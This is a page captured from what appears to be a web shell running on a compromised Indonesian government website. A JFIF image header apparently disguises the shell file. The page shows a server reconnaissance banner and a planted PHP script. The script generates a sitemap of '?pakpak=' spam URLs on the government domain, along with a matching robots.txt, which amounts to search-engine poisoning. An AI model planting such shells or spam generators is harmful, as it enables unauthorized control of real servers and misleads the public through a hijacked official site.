���� JFIF ��
Server IP : 103.65.238.20 / Your IP : 10.0.0.10 Web Server : Apache System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : www ( 1000) PHP Version : 7.3.32 Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/jdih/frontend/web/ |
Upload File : |
<?php // Fungsi untuk membuat sitemap.xml function generateSitemap($list, $hostname, $sitemapFileName) { $sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL; $sitemapContent .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; foreach ($list as $url) { $url = trim($url); // Menghilangkan spasi di awal dan akhir $url = str_replace(' ', '+', $url); // Mengganti spasi di tengah dengan + // Membuat URL dengan ?pakpak= $fullUrl = $hostname . '?pakpak=' . $url; $sitemapContent .= ' <url>' . PHP_EOL; $sitemapContent .= ' <loc>' . htmlspecialchars($fullUrl) . '</loc>' . PHP_EOL; $sitemapContent .= ' </url>' . PHP_EOL; } $sitemapContent .= '</urlset>' . PHP_EOL; file_put_contents($sitemapFileName, $sitemapContent); echo "Sitemap berhasil dibuat: $sitemapFileName" . PHP_EOL; } // Fungsi untuk membuat robots.txt function generateRobotsTxt($hostname, $sitemapFileName) { $robotsContent = "User-agent: *" . PHP_EOL; $robotsContent .= "Disallow:" . PHP_EOL; $robotsContent .= "Sitemap: " . htmlspecialchars($hostname . $sitemapFileName) . PHP_EOL; // Menggunakan URL tanpa ?pakpak= file_put_contents('robots.txt', $robotsContent); echo "Robots.txt berhasil dibuat." . PHP_EOL; } // Baca list.txt $list = file('list.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!$list) { echo "Gagal membaca list.txt." . PHP_EOL; exit; } // Tentukan hostname dan nama file sitemap $hostname = 'https://jdih.tobakab.go.id/'; // Pastikan ini hanya hostname $sitemapFileName = 'sitemap.xml'; // Nama file sitemap // Buat sitemap.xml dan robots.txt generateSitemap($list, $hostname, $sitemapFileName); generateRobotsTxt($hostname, $sitemapFileName); ?>